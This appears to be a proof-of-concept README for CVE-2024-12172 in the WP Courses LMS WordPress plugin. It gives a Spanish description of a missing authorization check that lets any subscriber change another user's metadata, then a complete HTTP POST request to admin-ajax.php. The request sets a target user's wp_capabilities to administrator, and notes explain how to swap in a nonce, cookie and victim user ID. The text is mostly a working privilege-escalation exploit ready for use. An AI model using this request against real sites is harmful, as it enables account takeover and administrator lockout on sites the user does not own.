randomrobbiebf/cve-2024-12172WP Courses LMS – Creador de cursos en línea, cursos eLearning, solución de cursos, cursos de educación <= 3.2.21 - Falta de autorización para actualización arbitraria de metadatos de usuario autenticado (suscriptor+)
WP Courses LMS – Online Courses Builder, eLearning Courses, Courses Solution, Education Courses <= 3.2.21 - Autorización faltante para usuarios autenticados (Suscriptor+) que permite la actualización arbitraria de metadatos de usuario
El plugin WP Courses LMS – Online Courses Builder, eLearning Courses, Courses Solution, Education Courses para WordPress es vulnerable a acceso no autorizado debido a la falta de una comprobación de capacidades en la función wpc_update_user_meta_option() en todas las versiones hasta la 3.2.21 inclusive. Esto permite que atacantes autenticados, con acceso de nivel Suscriptor o superior, actualicen los metadatos de usuarios arbitrarios, lo que puede aprovecharse para bloquear el acceso de un administrador a su sitio cuando wp_capabilities se establece a 0.
Notas: Obtén el nonce de seguridad una vez iniciada la sesión, cambia la cookie por la tuya y cambia el ID del usuario al que desees perjudicar.
POST /wp-admin/admin-ajax.php HTTP/2
Host: wp-dev.ddev.site
Cookie: wordpress_sec_738b26438442006baf5dc1367e0c0fd7=xxxxxx%7C1734564259%7CqjA3YsV7vjM7q3xj2PMjfPNu99lImJXyJ75qtYZpZ7Y%7Ce3a77e785ddd92cd3be1cf8c0eb8d553e5daef113144193bed0f02383200b15c; popup_time=2; alwaysStrip=1; _ga=GA1.2.1953252658.1732269795; _ga_16PD6PV48S=GS1.2.1732269795.1.0.1732270283.0.0.0; wordpress_test_cookie=WP%20Cookie%20check; tk_ai=woo%3AvR7YQZfotoLbsTF9AhmUVwUJ; PHPSESSID=bf585dabe58fb6cf2f5f52eb40caea09; sbjs_migrations=1418474375998%3D1; sbjs_current_add=fd%3D2024-12-16%2021%3A32%3A49%7C%7C%7Cep%3Dhttps%3A%2F%2Fwp-dev.ddev.site%2Fwpr%2Fmigrated-form%2F%7C%7C%7Crf%3Dhttps%3A%2F%2Fwp-dev.ddev.site%2Fwp-admin%2Fedit.php%3Fpost_type%3Dwpr; sbjs_first_add=fd%3D2024-12-16%2021%3A32%3A49%7C%7C%7Cep%3Dhttps%3A%2F%2Fwp-dev.ddev.site%2Fwpr%2Fmigrated-form%2F%7C%7C%7Crf%3Dhttps%3A%2F%2Fwp-dev.ddev.site%2Fwp-admin%2Fedit.php%3Fpost_type%3Dwpr; sbjs_current=typ%3Dtypein%7C%7C%7Csrc%3D%28direct%29%7C%7C%7Cmdm%3D%28none%29%7C%7C%7Ccmp%3D%28none%29%7C%7C%7Ccnt%3D%28none%29%7C%7C%7Ctrm%3D%28none%29%7C%7C%7Cid%3D%28none%29%7C%7C%7Cplt%3D%28none%29%7C%7C%7Cfmt%3D%28none%29%7C%7C%7Ctct%3D%28none%29; sbjs_first=typ%3Dtypein%7C%7C%7Csrc%3D%28direct%29%7C%7C%7Cmdm%3D%28none%29%7C%7C%7Ccmp%3D%28none%29%7C%7C%7Ccnt%3D%28none%29%7C%7C%7Ctrm%3D%28none%29%7C%7C%7Cid%3D%28none%29%7C%7C%7Cplt%3D%28none%29%7C%7C%7Cfmt%3D%28none%29%7C%7C%7Ctct%3D%28none%29; sbjs_udata=vst%3D2%7C%7C%7Cuip%3D%28none%29%7C%7C%7Cuag%3DMozilla%2F5.0%20%28Macintosh%3B%20Intel%20Mac%20OS%20X%2010.15%3B%20rv%3A133.0%29%20Gecko%2F20100101%20Firefox%2F133.0; wp_lang=en_US; sbjs_session=pgs%3D38%7C%7C%7Ccpg%3Dhttps%3A%2F%2Fwp-dev.ddev.site%2F; tk_qs=; wordpress_logged_in_738b26438442006baf5dc1367e0c0fd7=xxxxxx%7C1734564259%7CqjA3YsV7vjM7q3xj2PMjfPNu99lImJXyJ75qtYZpZ7Y%7C8fbeacbf59bdbe9d5dd58f11d538be09210c86d5742b92993b6c2827ec0a53bb
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:133.0) Gecko/20100101 Firefox/133.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://wp-dev.ddev.site/wp-login.php?loggedout=true&wp_lang=en_US
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers
Content-Type: application/x-www-form-urlencoded
Content-Length: 133
security=91f7dcda05&action=wpc_update_user_meta&user_id=7&meta_key=wp_capabilities&meta_value=a%3a1%3a{s%3a13%3a"administrator";b:1;}